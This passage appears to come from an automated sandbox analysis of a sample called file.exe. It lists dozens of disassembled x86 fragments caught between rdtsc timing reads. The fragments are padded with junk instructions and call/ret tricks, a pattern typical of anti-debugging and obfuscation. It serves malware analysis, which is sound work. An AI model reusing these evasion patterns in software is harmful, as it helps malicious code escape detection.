Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 858276 second address: 85827A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85827A second address: 85827E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85827E second address: 8582AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FE1C8D96872h 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007FE1C8D9686Ch 0x00000013 push edi 0x00000014 pop edi 0x00000015 popad 0x00000016 popad 0x00000017 push edx 0x00000018 push eax 0x00000019 pushad 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8582AF second address: 8582BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jnl 00007FE1C8D8FEB6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 825583 second address: 825595 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FE1C8D9686Ah 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85BC4E second address: 85BC56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85EFE9 second address: 85EFEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85E454 second address: 85E468 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FE1C8D8FEB6h 0x0000000a je 00007FE1C8D8FEB6h 0x00000010 popad 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85E468 second address: 85E4BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FE1C8D96872h 0x0000000b popad 0x0000000c pushad 0x0000000d push edi 0x0000000e pop edi 0x0000000f jmp 00007FE1C8D96870h 0x00000014 popad 0x00000015 popad 0x00000016 pushad 0x00000017 push edi 0x00000018 jnl 00007FE1C8D96866h 0x0000001e pop edi 0x0000001f pushad 0x00000020 jmp 00007FE1C8D96879h 0x00000025 pushad 0x00000026 popad 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85E641 second address: 85E646 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85EB62 second address: 85EB68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 862825 second address: 86282F instructions: 0x00000000 rdtsc 0x00000002 jo 00007FE1C8D8FEB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 862912 second address: 862916 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 862916 second address: 86291A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 862AAD second address: 862AB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 862B48 second address: 862B52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 862EFA second address: 862EFF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 862FA4 second address: 862FCA instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], ebx 0x0000000a mov dword ptr [ebp+1244C5FFh], ecx 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FE1C8D8FEC3h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 862FCA second address: 862FCF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 863127 second address: 86312B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86312B second address: 863131 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 863131 second address: 86313C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 ja 00007FE1C8D8FEB6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86313C second address: 863149 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 863149 second address: 86314D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8632FF second address: 863322 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FE1C8D96876h 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e pushad 0x0000000f push ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 863322 second address: 86332F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jp 00007FE1C8D8FEBCh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86350D second address: 863567 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 jmp 00007FE1C8D9686Eh 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push ebp 0x0000000f call 00007FE1C8D96868h 0x00000014 pop ebp 0x00000015 mov dword ptr [esp+04h], ebp 0x00000019 add dword ptr [esp+04h], 00000019h 0x00000021 inc ebp 0x00000022 push ebp 0x00000023 ret 0x00000024 pop ebp 0x00000025 ret 0x00000026 mov si, A4A9h 0x0000002a call 00007FE1C8D96873h 0x0000002f mov dword ptr [ebp+122D1793h], edx 0x00000035 pop edi 0x00000036 xchg eax, ebx 0x00000037 pushad 0x00000038 push eax 0x00000039 push edx 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 863567 second address: 86356B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86356B second address: 863596 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FE1C8D9686Eh 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FE1C8D96873h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 864245 second address: 86424A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86686C second address: 8668D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d je 00007FE1C8D96866h 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push edi 0x00000018 call 00007FE1C8D96868h 0x0000001d pop edi 0x0000001e mov dword ptr [esp+04h], edi 0x00000022 add dword ptr [esp+04h], 00000014h 0x0000002a inc edi 0x0000002b push edi 0x0000002c ret 0x0000002d pop edi 0x0000002e ret 0x0000002f add esi, 67901749h 0x00000035 push 00000000h 0x00000037 add dword ptr [ebp+1244983Ah], edx 0x0000003d xchg eax, ebx 0x0000003e push ebx 0x0000003f push edi 0x00000040 jmp 00007FE1C8D9686Eh 0x00000045 pop edi 0x00000046 pop ebx 0x00000047 push eax 0x00000048 push eax 0x00000049 push edx 0x0000004a jmp 00007FE1C8D96870h 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 868D0E second address: 868D12 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 868D12 second address: 868D24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b jno 00007FE1C8D96866h 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 868D24 second address: 868D2A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 868D2A second address: 868D4B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jp 00007FE1C8D9686Ah 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FE1C8D9686Ah 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 868D4B second address: 868D5D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jg 00007FE1C8D8FEB6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 868D5D second address: 868D61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 868D61 second address: 868D6B instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FE1C8D8FEB6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 819D04 second address: 819D08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 819D08 second address: 819D12 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 819D12 second address: 819D16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 819D16 second address: 819D1A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 869D92 second address: 869DB1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C8D9686Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b pushad 0x0000000c jc 00007FE1C8D96868h 0x00000012 push eax 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 push ecx 0x00000017 pop ecx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 869DB1 second address: 869E30 instructions: 0x00000000 rdtsc 0x00000002 je 00007FE1C8D8FEB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push esi 0x0000000f call 00007FE1C8D8FEB8h 0x00000014 pop esi 0x00000015 mov dword ptr [esp+04h], esi 0x00000019 add dword ptr [esp+04h], 00000015h 0x00000021 inc esi 0x00000022 push esi 0x00000023 ret 0x00000024 pop esi 0x00000025 ret 0x00000026 mov esi, dword ptr [ebp+122D33B4h] 0x0000002c push 00000000h 0x0000002e push 00000000h 0x00000030 push esi 0x00000031 call 00007FE1C8D8FEB8h 0x00000036 pop esi 0x00000037 mov dword ptr [esp+04h], esi 0x0000003b add dword ptr [esp+04h], 0000001Dh 0x00000043 inc esi 0x00000044 push esi 0x00000045 ret 0x00000046 pop esi 0x00000047 ret 0x00000048 push 00000000h 0x0000004a jmp 00007FE1C8D8FEC0h 0x0000004f push eax 0x00000050 push eax 0x00000051 push edx 0x00000052 jmp 00007FE1C8D8FEC4h 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 869E30 second address: 869E3A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007FE1C8D96866h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86B2D6 second address: 86B2DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86B2DA second address: 86B2DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86B2DE second address: 86B2F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FE1C8D8FEC0h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86B865 second address: 86B8B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 mov dword ptr [esp], eax 0x00000008 push 00000000h 0x0000000a push edx 0x0000000b call 00007FE1C8D96868h 0x00000010 pop edx 0x00000011 mov dword ptr [esp+04h], edx 0x00000015 add dword ptr [esp+04h], 00000016h 0x0000001d inc edx 0x0000001e push edx 0x0000001f ret 0x00000020 pop edx 0x00000021 ret 0x00000022 jmp 00007FE1C8D9686Eh 0x00000027 push 00000000h 0x00000029 xor dword ptr [ebp+122D1820h], ecx 0x0000002f push 00000000h 0x00000031 mov bx, 732Eh 0x00000035 mov ebx, 504C6700h 0x0000003a push eax 0x0000003b jnl 00007FE1C8D9686Eh 0x00000041 push edx 0x00000042 push eax 0x00000043 push edx 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86C84C second address: 86C85F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jno 00007FE1C8D8FEB8h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86D927 second address: 86D92B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86D92B second address: 86D93A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 js 00007FE1C8D8FEB6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86D93A second address: 86D94F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a jmp 00007FE1C8D9686Ah 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86A639 second address: 86A63F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86F8F2 second address: 86F8F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86B99A second address: 86B9A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86F8F8 second address: 86F8FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86B9A8 second address: 86B9AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86CA5F second address: 86CA77 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FE1C8D96866h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FE1C8D9686Ah 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86B9AC second address: 86B9B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86CA77 second address: 86CA7D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86FF33 second address: 86FF39 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86CA7D second address: 86CA81 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86FF39 second address: 86FF3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 870FCB second address: 870FD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jp 00007FE1C8D96866h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87116A second address: 87116E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 873F8B second address: 87401D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push esi 0x0000000c call 00007FE1C8D96868h 0x00000011 pop esi 0x00000012 mov dword ptr [esp+04h], esi 0x00000016 add dword ptr [esp+04h], 0000001Bh 0x0000001e inc esi 0x0000001f push esi 0x00000020 ret 0x00000021 pop esi 0x00000022 ret 0x00000023 mov bh, 91h 0x00000025 push 00000000h 0x00000027 push 00000000h 0x00000029 push ecx 0x0000002a call 00007FE1C8D96868h 0x0000002f pop ecx 0x00000030 mov dword ptr [esp+04h], ecx 0x00000034 add dword ptr [esp+04h], 00000018h 0x0000003c inc ecx 0x0000003d push ecx 0x0000003e ret 0x0000003f pop ecx 0x00000040 ret 0x00000041 push 00000000h 0x00000043 push 00000000h 0x00000045 push edx 0x00000046 call 00007FE1C8D96868h 0x0000004b pop edx 0x0000004c mov dword ptr [esp+04h], edx 0x00000050 add dword ptr [esp+04h], 0000001Dh 0x00000058 inc edx 0x00000059 push edx 0x0000005a ret 0x0000005b pop edx 0x0000005c ret 0x0000005d mov ebx, dword ptr [ebp+122D34DCh] 0x00000063 xchg eax, esi 0x00000064 push eax 0x00000065 push edx 0x00000066 jmp 00007FE1C8D96872h 0x0000006b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87401D second address: 874022 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 874022 second address: 874028 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8722C8 second address: 8722CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8722CC second address: 8722DD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE1C8D9686Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8722DD second address: 8722E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8722E3 second address: 8722E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8741B8 second address: 8741BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8741BC second address: 8741C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8770D0 second address: 8770F4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c pushad 0x0000000d jmp 00007FE1C8D8FEC0h 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8770F4 second address: 8770F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8770F8 second address: 87717A instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FE1C8D8FEB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b nop 0x0000000c mov di, cx 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push ecx 0x00000014 call 00007FE1C8D8FEB8h 0x00000019 pop ecx 0x0000001a mov dword ptr [esp+04h], ecx 0x0000001e add dword ptr [esp+04h], 0000001Ah 0x00000026 inc ecx 0x00000027 push ecx 0x00000028 ret 0x00000029 pop ecx 0x0000002a ret 0x0000002b push 00000000h 0x0000002d jmp 00007FE1C8D8FEBEh 0x00000032 xchg eax, esi 0x00000033 push ebx 0x00000034 jmp 00007FE1C8D8FEC2h 0x00000039 pop ebx 0x0000003a push eax 0x0000003b push eax 0x0000003c push edx 0x0000003d pushad 0x0000003e jmp 00007FE1C8D8FEC4h 0x00000043 jmp 00007FE1C8D8FEC1h 0x00000048 popad 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87426E second address: 87428C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FE1C8D96874h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87428C second address: 874296 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007FE1C8D8FEB6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 874296 second address: 87429A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 878FF9 second address: 87900A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jne 00007FE1C8D8FEB6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87900A second address: 87900E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87AE20 second address: 87AE27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87AE27 second address: 87AEBA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FE1C8D96873h 0x00000008 js 00007FE1C8D96866h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push esi 0x00000013 jl 00007FE1C8D9686Ch 0x00000019 pop esi 0x0000001a nop 0x0000001b push 00000000h 0x0000001d push ebp 0x0000001e call 00007FE1C8D96868h 0x00000023 pop ebp 0x00000024 mov dword ptr [esp+04h], ebp 0x00000028 add dword ptr [esp+04h], 0000001Bh 0x00000030 inc ebp 0x00000031 push ebp 0x00000032 ret 0x00000033 pop ebp 0x00000034 ret 0x00000035 sub bh, 0000007Ah 0x00000038 push 00000000h 0x0000003a jmp 00007FE1C8D9686Bh 0x0000003f push 00000000h 0x00000041 jnl 00007FE1C8D9686Ah 0x00000047 mov bx, E575h 0x0000004b push eax 0x0000004c pushad 0x0000004d ja 00007FE1C8D9687Bh 0x00000053 push eax 0x00000054 push edx 0x00000055 js 